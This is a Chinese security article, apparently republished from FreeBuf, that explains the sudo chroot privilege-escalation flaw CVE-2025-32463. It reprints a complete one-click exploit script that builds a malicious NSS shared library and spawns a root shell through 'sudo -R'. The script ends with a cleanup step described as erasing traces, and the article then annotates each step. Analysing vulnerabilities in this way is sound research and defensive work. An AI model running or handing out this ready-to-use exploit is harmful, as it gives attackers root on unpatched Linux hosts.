CVE-2025-32463的解析(附poc及其解析)
文章描述了一个利用sudo的-R/--chroot选项进行提权的漏洞(CVE-2025-32463)。攻击者通过构造恶意chroot环境,在sudo解析用户信息前加载伪造的NSS动态库,从而绕过权限控制并获得root权限。 2025-7-2 07:43:49 Author: www.freebuf.com(查看原文) 阅读量:169 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

1️⃣ 背景:

这个漏洞原理主要就是利用sudo的一个-R/--chroot选项

那么这个选项是干什么的呢?

从1.9.14版本的sudo开始,便引用了-R(--chroot)选项,本意是是用来让用户通过该选项指定chroot的目录下执行具有root权限的命令,保证执行环境的隔离。

2️⃣ 核心

那漏洞点就来了,因为sudo在解析与sudoers的相匹配的命令之前会先进入一个我们可以控制的chroot环境,也就是我们-R指定的目录下。而当我们在这个目录下写一些恶意的配置文件如:

  • /etc/nsswitch.conf
  • 恶意libnss_*.so动态链接库
  • /etc/passwd,/etc/group

当sudo解析用户、组、主机名等权限进行匹配 glibc NSS(Name Service Switch) 时,会触发 glibc NSS(Name Service Switch)机制我们写在该目录下的恶意动态库,从而实现提权。

具体流程如下:

  • 执行 sudoers 检查之前,需要解析用户信息。
  • 用户信息解析依赖getpwnam()等 glibc 函数。
  • glibc 根据/etc/nsswitch.conf加载libnss_*动态库。
  • 因已进入可控chroot环境,因此加载了用户伪造的恶意库。
  • 恶意库在加载时即在 root 权限下执行任意代码。
  • 从而无需匹配 sudoers,即可直接执行任意代码。

本质是:NSS模块加载在 root权限且在 sudoers检查之前触发,因此造成绕过权限控制的提权。

一键提权exp

脚本来源于https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

可以看到,很丝滑,一键提权 ^_^

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?} ##清理痕迹

我们来解析一下这个exp

第一部分

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
  • /tmp创建一个临时工作目录用于放置攻击文件,避免污染系统。
  • 进入该目录进行后续操作。

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

这个就是写的一个恶意的NSS动态库,其中设置了权限setreuid(0,0); setregid(0,0); 为root,后面就是切换工作目录为/ 最后获得一个root权限的shell。__attribute__((constructor))修饰的woot()在库被加载时立即执行

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

这里就是构造了一个chroot环境

  • woot/etc:模拟 chroot 环境的/etc/
  • libnss_:用于存放伪造的 NSS 动态库。

伪造的nsswitch.conf

echo "passwd: /woot1337" > woot/etc/nsswitch.conf

指定在解析passwd时优先加载libnss_woot1337.so.2

注意:/woot1337被解释为libnss_/woot1337.so.2(glibc NSS 加载机制会在前缀后自动补全libnss_<name>.so.2

最后就是编译写好的NSS动态库

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
  • -shared: 生成共享库。
  • -fPIC: 生成位置无关代码。
  • -Wl,-init,woot: 链接器选项,执行woot()函数时自动运行(与 constructor 功能类似,双保险)。

此动态库在被加载时立即执行woot(),提权并执行/bin/bash

最后就是执行exploit

echo "woot!"
sudo -R woot woot

-R woot→ 切换根目录至当前目录下的woot/

执行命令woot(此处woot可不存在,因为漏洞点在于执行前会加载 NSS

总结触发的流程

触发流程:

  1. Sudo 以 root 权限进入 chroot(此时路径为攻击者可控的woot/)。
  2. woot/etc/nsswitch.conf中配置优先使用/woot1337NSS。
  3. glibc 在解析用户信息时加载可控路径libnss_/woot1337.so.2
  4. 恶意动态库被加载,执行woot()提权并启动 /bin/bash以 root 权限运行

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/437488.html
如有侵权请联系:admin#unsafe.sh